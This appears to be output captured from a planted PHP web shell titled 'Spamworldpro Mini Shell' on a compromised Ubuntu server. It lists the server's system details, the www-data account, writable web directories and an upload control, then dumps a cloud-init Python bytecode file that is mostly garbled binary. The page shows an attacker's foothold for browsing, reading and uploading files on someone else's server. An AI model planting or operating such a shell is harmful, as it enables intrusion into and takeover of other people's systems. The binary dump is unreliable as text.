Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/cloudinit/analyze/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/cloudinit/analyze/__pycache__/dump.cpython-310.pyc
o

}��f��	@s�ddlZddlZddlmZmZddlmZmZmZddddddd	d
d�ZdZ	d
Z
dZdd�Zdd�Z
dd�Zdd�Zddd�Zdd�ZedkrOee��dSdS)�N)�datetime�timezone)�
atomic_helper�subp�utilzfinished running cloud-initz%starting search for local datasourcesz!searching for network datasourceszrunning config moduleszfinalizing moduleszrunning modules forzrunning single module )�finishedz
init-local�init-network�initzmodules-configz
modules-final�modules�singlez%Y-%m-%d %H:%M:%S,%fz%b %d %H:%M:%S.%f %Yz%b %d %H:%M:%S %YcCs�dd�tdd�D�}|��d|vr6t}d|vrt}t�|dtt��j�|�j	t
jd�}|��}t|�Sd	|vrMt�|t
�j	t
jd�}|��}t|�St|�}t|�S)
NcSsg|]}tj|�qS�)�calendar�
month_abbr)�.0�mrr�8/usr/lib/python3/dist-packages/cloudinit/analyze/dump.py�
<listcomp> sz#parse_timestamp.<locals>.<listcomp>��
r�.� )�tzinfo�,)�range�split�DEFAULT_FMT�CLOUD_INIT_JOURNALCTL_FMTr�strptime�str�now�year�replacer�utc�	timestamp�CLOUD_INIT_ASCTIME_FMT�parse_timestamp_from_date�float)�timestampstr�months�FMT�dtr#rrr�parse_timestamps*�����r+cCsdt�ddg�jvS)z�GNU date includes a string containing the word GNU in it in
    help output. Posix date does not. Use this to indicate on Linux
    systems without GNU date that the extended parsing is not
    available.
    �GNU�datez--help)r�stdoutrrrr�has_gnu_date9sr/cCsRt��st�d�rd}nt�rd}ntd|�d���tt�|ddd|g�j���S)N�gdater-z-Unable to parse timestamp without GNU date: [�]z-uz+%s.%3Nz-d)	r�is_Linuxr�whichr/�
ValueErrorr&r.�strip)r'r-rrrr%Bs
��r%cCs�d}dd|g}d}|D]
}||vrd}nq|sdS|�|�\}}|�d�r1d�|��dd	��}d
|vrQ|�d
�\}}|d|��d7}d|vrP|��d	}	n |��d	}	||krh|��}|jdd
�d}n	|�|	�d��}d|vr�d}
d|vr�|�d�d��}|�d�\}}
|�dd��dd�}|dkr�d}ndSt|}n|��dd�\}}
}|�|�d��}|�d�|t|�d|
�d�d�}|ddkr�|�d�d}|�|�d�d���}||d<|��|d<|S)Nz cloud-init[z - z
 [CLOUDINIT] FT�:rr���rz,%sr)�maxsplit�
Cloud-init v.�start�runningz at �'��-r	r��	cloudinit)�name�descriptionr#�origin�
event_typerD�finish�resultrB)	r�endswith�joinr5�lstripr!�stage_to_description�rstripr+)�line�amazon_linux_2_sep�
separators�found�sep�timehost�eventstrr'�extra�hostnamerD�stage_and_timestamp�
event_name�_�event_description�_pymodloglvl�eventrF�descrrr�parse_ci_loglinePsb
�
��
�r\c
Cs�g}d}gd�}t||g�std��|r|��}n|��}|D](}|D]#}||vrFzt|�}Wnty>tj�d�Ynw|rF|�|�q#q||fS)N)zstart:zfinish:r9z2Either cisource or rawdata parameters are requiredzSkipping invalid entry
)	�anyr4�
splitlines�	readlinesr\�sys�stderr�write�append)�cisource�rawdata�eventsrZ�CI_EVENT_MATCHES�datarL�matchrrr�dump_events�s*
�
��	rjcCs2ttj�dkrttjd�}ntj}t�t|��S)Nr)�lenr`�argv�open�stdinr�
json_dumpsrj)rdrrr�main�srp�__main__)NN)r
r`rrr@rrrrJr$rrr+r/r%r\rjrp�__name__�printrrrr�<module>s2�	
V	�

Spamworldpro Mini